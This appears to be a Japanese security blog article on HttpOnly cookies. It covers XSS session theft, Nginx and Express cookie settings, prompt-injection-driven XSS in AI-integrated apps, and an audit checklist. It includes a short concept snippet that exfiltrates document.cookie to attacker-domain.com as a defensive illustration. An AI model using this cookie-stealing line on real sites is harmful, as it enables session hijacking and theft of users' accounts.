セッション管理の死角：なぜ今さら「HttpOnly」を語るのか
多くのエンジニアが「HttpOnly？あぁ、Cookieに付けるフラグでしょ。XSS対策だよね」と口を揃える。教科書的な回答としては満点だ。しかし、現場の最前線でインシデント対応をしていると、この「当たり前」の実装漏れが、なぜかクリティカルなシステムで散見される。
本稿では、単なる属性の説明に留まらず、攻撃者がセッションハイジャックを試みる際の低レイヤの思考と、現代的なアーキテクチャにおける「防御の多層化」の観点から、この静かなる守護神の正体を解き明かす。
—
1. 攻撃者の視点：document.cookie の先にある世界
攻撃者がXSS（クロスサイトスクリプティング）を仕掛けるとき、彼らが最初に狙うのは「特権の剥奪」ではない。「特権の奪取」だ。
ブラウザのメモリ空間に存在する document.cookie オブジェクトには、セッションIDが含まれている。もし HttpOnly 属性が設定されていなければ、攻撃者は巧妙に注入したJavaScriptコードでこの文字列を吸い上げ、自身のC2（Command & Control）サーバーへ転送する。
// 攻撃者がインジェクションを試みる際の概念コード
// HttpOnlyが欠落している場合、セッションIDが平然と流出する
const stolenCookie = document.cookie;
fetch(‘https://attacker-domain.com/log?c=’ + btoa(stolenCookie));
ここで重要なのは、パケット構造上の欠陥だ。HTTPリクエストのヘッダーに埋め込まれたCookieは、本来「ブラウザとサーバーの間」で完結すべき通信のメタデータである。しかし、JavaScriptエンジンにそのデータへのアクセス権を与えてしまった瞬間に、その境界線は崩壊する。
—
2. 根本的な防御：HttpOnlyによる「物理的分離」
HttpOnly 属性は、ブラウザに対して「このCookieをDOM APIから一切見えないようにしろ」と命令する低レイヤのゲートキーパーだ。
設定のベストプラクティス（Nginx/Node.js例）
単に属性を付与するだけでなく、Secure 属性（HTTPS必須）と SameSite 属性を組み合わせた「3層防衛」が必須である。
Nginxでの設定例:
クッキーの属性をセキュアに強制する
HttpOnly: JSからのアクセス禁止
Secure: 暗号化通信のみ許可
SameSite=Lax: CSRF対策としてクロスサイトリクエストを抑制
add_header Set-Cookie “SessionID=…; HttpOnly; Secure; SameSite=Lax”;
Node.js (Express) での実装:
res.cookie(‘session_id’, ‘your-secret-token’, {
httpOnly: true, // 重要：これがなければXSSで即死する
secure: true, // 重要：TLS通信のみに限定
sameSite: ‘lax’, // CSRF防御
maxAge: 3600000 // セッション寿命の適正化
});
—
3. 次世代の脅威：AIプロンプトインジェクションと「Cookieの行方」
近年、生成AIを組み込んだアプリケーションが増加している。ここで問題になるのが、プロンプトインジェクションを介した「間接的なXSS」だ。AIがユーザーの入力（悪意あるプロンプト）を解釈し、それがフロントエンドのレンダリングに影響を及ぼす場合、従来のWAFでは検知しきれない。
このとき、HttpOnly は「最後の砦」として機能する。たとえAIが操られ、悪意あるスクリプトがブラウザ上で実行されたとしても、HttpOnly で保護されたセッションCookieには指一本触れられない。「コードが実行されること」を完全に防げない以上、「実行されたコードに何をさせないか」という境界防御の思想が、今後ますます重要になる。
—
4. チーフ・ホワイトハッカーとしての提言：監査の眼
あなたがアーキテクトやテックリードであるなら、以下のチェックリストをCI/CDパイプラインに組み込むことを強く推奨する。
1. 静的解析での自動検出: Set-Cookie ヘッダーの生成ロジックに HttpOnly が存在しない場合、ビルドを失敗させる（semgrep 等のツールを活用せよ）。
2. 動的ペネトレーションテスト: 自動化されたスキャナーではなく、プロキシ（Burp Suite等）を通じ、実際のレスポンスヘッダーをパケット単位で確認する。「設定したつもり」が一番危険だ。
3. 耐量子暗号への布石: セッション管理のトークン自体を、将来的な量子計算機による総当たり攻撃から守るため、トークン生成には十分なエントロピーと適切なハッシュアルゴリズム（SHA-256以上）を採用せよ。
最後に：防御は泥臭い仕事だ
「HttpOnlyにしておく」という小さな選択。それは、数百万件の顧客データと、あなたの会社のブランドを、わずか数行のJSコードから守るための、最もコスト対効果の高いエンジニアリングだ。
華やかな新技術に目を奪われるのもいい。だが、脆弱性の歴史は常に「基本の欠落」を突いてきた。この基本を徹底することこそが、我々セキュリティ専門家が現場で戦い続けるための、唯一にして最強の武器である。
コメント